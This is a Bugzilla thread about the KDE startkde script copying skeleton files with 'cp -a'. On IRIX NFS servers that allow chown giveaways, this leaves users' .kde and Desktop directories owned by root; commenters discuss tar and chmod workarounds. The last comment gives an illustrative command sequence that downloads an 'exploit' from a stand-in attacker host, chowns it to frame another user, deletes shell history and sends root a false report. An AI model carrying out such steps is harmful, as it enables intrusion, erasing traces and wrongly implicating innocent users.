From Bugzilla Helper: User-Agent: Mozilla/4.77 [en] (X11; U; SunOS 5.8 sun4u) Description of problem: Hi, My account lives on a Silicon Graphics NFS server. Default kernel setup on IRIX lets you change the owner of a file as long as you are the owner. It really does : $ whoami papadopo $ touch /home/papadopo/foo $ ls -l /home/papadopo/foo -rw-r--r-- 1 papadopo tdi 0 May 15 16:29 /home/papadopo/foo $ chown root:root /home/papadopo/foo $ -rw-r--r-- 1 root sys 0 May 15 16:29 /home/papadopo/foo $ chown papadopo /home/papadopo/foo /home/papadopo/foo - Operation not permitted $ Yes, I know, this is insane. But it's out there and it's a Solaris option as well (but not the default one). It's probably an option for other NFS sevrers as well. Now /usr/bin/startkde contains these lines: # create necessary directories/files if [ ! -d $HOME/Desktop -a -d /etc/skel/Desktop ]; then cp -aR /etc/skel/Desktop $HOME fi if [ ! -d $HOME/.kde -a -d /etc/skel/.kde ]; then cp -aR /etc/skel/.kde $HOME fi The effect of -a is that file owners are preserved when possible. It would be nice to use another option than -a so that the owner of the copied files is the owner of the account. Maybe just `cp -pR' followed by 'chmod' or something like that. How reproducible: Always Steps to Reproduce: 1. Create an account on an IRIX NFS server 2. Use this account to run KDE from Red Hat Linux 7.1 (using script /usr/bin/startkde) 3. Have a look at the permissions of $HOME/Desktop Actual Results: $HOME/Desktop and the files in it belong to root:sys Expected Results: $HOME/Desktop and the files in it should belong to the owner of the account Additional info: Of course we'll modify the default kernel option of our IRIX NFS servers. But I thought I'd let you know about this issue nevertheless.
I also have seen this behavior. This is a considerable problem if one does not have root access (to the NFS server) to change the ownerships. Note also that KDE *WILL NOT START* if $HOME/.kde and its contents are owned by root because dcopserver cannot create files in the directory.
Oh, forgot to mention that once the root-owned files are created, users cannot alter or remove them because the permissions do not allow modification and the directories in which they exist ($HOME/.kde and $HOME/Desktop) are owned by root. And, of course, the users cannot remove the directories because they aren't empty. So once the directories and files are put there, users *MUST* seek the assistance of systems administration to resolve the problem. Bad. Very bad. =(
Removing the "-a" flag from the "cp" commands in /usr/bin/startkde appears to work fine. IMHO, this is also preferable, since "-a" forces "cp" to ignore the user's umask. I really don't see a good reason for "-a". If there *IS* a good reason, perhaps "tar" should be used instead of "cp": tar cfp -C /etc/skel - Desktop | tar xfp -C $HOME - tar cfp -C /etc/skel - .kde | tar xfp -C $HOME - "tar" does not appear to exhibit the same ownership problem. Note that "cp -a" is used to copy ".kderc", and should be addressed, also.
Removing the "-a" flag is a good idea but relying on the user's default umask is probably not a good idea because the KDE files should be private event though umask does not enforce that. I'd say copy the files without "-a" but then use chmod after copying the files. The tar solution sounds good too.
The correct fix is to fix up the NFS server - allowing users to create files as root is ultimately broken. tar workaround added in 2.2-0.alpha2.2
Allowing users to create root files is not that broken because it is not a security issue (except that users may be tempted to run a program they know nothing about on the basis that it belongs to root) and it is the default behaviour on some Unix systems. Anyway the fact is that this behaviour does exist out there and I appreciate your working around it. That said, our sysadmin did change our NFS servers so that users cannot chown to accounts and groups they don't belong to.
It is quite broken. wget http://evil.crackers.com/exploits/l33t-hax0r-script /tmp/exploit chown someoneidontlike /tmp/exploit rm ~/.bash_history mail root <<EOF Hi, looks like someone is trying to crack the system (/tmp/exploit) EOF